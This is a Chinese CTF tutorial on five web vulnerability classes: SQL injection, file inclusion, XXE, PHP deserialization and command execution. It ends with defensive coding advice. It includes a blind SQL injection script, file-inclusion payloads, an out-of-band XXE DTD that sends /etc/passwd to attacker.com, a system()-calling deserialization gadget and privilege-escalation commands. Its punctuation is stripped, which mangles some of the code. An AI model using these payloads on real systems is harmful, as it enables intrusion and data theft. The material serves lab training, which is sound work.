青少年CTF Web 8题实战:SQL注入到PHP反序列化,5类漏洞完整复现
青少年CTF Web安全实战从SQL注入到PHP反序列化的5类漏洞深度解析1. 靶场环境搭建与漏洞分类体系在开始实战之前我们需要先搭建一个标准的CTF靶场环境。推荐使用Docker快速部署以下是一个基础环境的Docker Compose配置示例version: 3 services: web: image: vulhub/web:ctf-base ports: - 80:80 - 3306:3306 volumes: - ./web:/var/www/html - ./db:/var/lib/mysql environment: MYSQL_ROOT_PASSWORD: qsnctf123漏洞类型与对应靶场配置漏洞类型所需组件典型特征文件难度等级SQL注入MySQLPHPlogin.php★★☆☆☆文件包含PHP allow_url_includefileindex.php★★★☆☆XXE漏洞libxml2 2.8.xxxe.php★★★★☆PHP反序列化PHP 7.4unserialize.php★★★★★命令执行system()函数cmd.php★★★☆☆提示实际CTF比赛中往往需要组合多种漏洞类型才能获取flag建议按从易到难的顺序搭建靶场。2. SQL注入实战从基础到高级利用SQL注入是Web安全中最经典的漏洞类型我们先从最基础的注入开始基础注入检测流程单引号测试观察是否报错逻辑测试1 and 11vs1 and 12联合查询1 union select 1,2,3-- -使用sqlmap自动化检测sqlmap -u http://target.com/?id1 --risk3 --level5 \ --batch --dbs --tables --columns --dump进阶技巧——时间盲注 当页面没有明显回显时可以使用基于时间的盲注技术import requests import time url http://target.com/login.php chars 0123456789abcdef flag for i in range(1,33): for c in chars: payload fadmin and if(ascii(substr((select flag from flags),{i},1)){ord(c)},sleep(2),0)-- - start time.time() requests.post(url, data{username:payload,password:1}) if time.time() - start 1.5: flag c print(flag) break3. 文件包含与PHP伪协议利用文件包含漏洞常出现在使用include()、require()等函数时未严格过滤用户输入的情况。常见利用方式本地文件包含?file../../../../etc/passwd远程文件包含?filehttp://attacker.com/shell.txtPHP伪协议php://filter/readconvert.base64-encode/resourceindex.phpphp://input POST传入PHP代码实战案例——读取源码GET /index.php?filephp://filter/convert.base64-encode/resourceconfig.php HTTP/1.1 Host: target.com解码后即可获取配置文件内容往往包含数据库凭证等敏感信息。4. XXE漏洞原理与实战利用XML外部实体注入(XML External Entity)常出现在处理XML输入的场景中。典型攻击流程检测XML解析尝试提交简单XML看是否被解析构造恶意DTD!DOCTYPE xxe [ !ENTITY xxe SYSTEM file:///etc/passwd ]利用回显或带外通道提取数据无回显情况下的利用!DOCTYPE xxe [ !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd; %send; ]其中evil.dtd内容!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd !ENTITY % all !ENTITY send SYSTEM http://attacker.com/?data%file; %all;5. PHP反序列化漏洞深度解析PHP反序列化漏洞是CTF中的高频考点理解其原理需要掌握关键概念serialize()将对象转换为可存储的字符串unserialize()将字符串还原为对象魔术方法__wakeup(),__destruct(),__toString()等典型攻击链构造寻找可利用的类有危险方法的类分析类之间的调用关系构造POP链Property-Oriented Programming生成恶意序列化字符串实战案例代码class VulnerableClass { public $dangerous; function __destruct() { system($this-dangerous); } } $payload new VulnerableClass(); $payload-dangerous cat /flag; echo serialize($payload);输出结果O:15:VulnerableClass:1:{s:9:dangerous;s:9:cat /flag;}6. 综合实战从信息收集到getshell完整的CTF解题流程通常包含以下步骤信息收集目录扫描dirsearch -u http://target.com -e php版本识别whatweb http://target.com注释审计查看页面源码中的注释漏洞利用找到入口点如上传、登录、参数等尝试常见漏洞类型组合利用多个漏洞权限提升查找可写目录find / -writable 2/dev/null利用SUID程序find / -perm -4000 2/dev/null获取flag通常位于/flag、/root/flag.txt等路径可能需要绕过限制cat /fla?、cat /fla*典型工具链# 信息收集 nmap -sV -Pn target.com gobuster dir -u http://target.com -w /path/to/wordlist.txt # 漏洞利用 sqlmap -u http://target.com/?id1 --os-shell phpggc -l # 查找可用的反序列化gadget # 后渗透 linpeas.sh # Linux权限提升检查脚本7. 防御措施与安全编码实践了解攻击手段后更重要的是掌握如何防御针对SQL注入使用预处理语句PDO::prepare()严格输入验证filter_var()最小权限原则数据库用户只赋予必要权限针对文件包含禁用危险配置allow_url_includeOff白名单控制只允许包含指定目录下的文件避免动态包含如必须使用应严格校验参数针对反序列化避免反序列化用户输入使用json_encode()替代serialize()实现__wakeup()方法时进行安全检查通用安全建议保持组件更新启用错误日志但禁止显示实施WAF规则定期安全审计在CTF比赛中这些防御措施往往是被故意弱化的但实际开发中必须严格执行。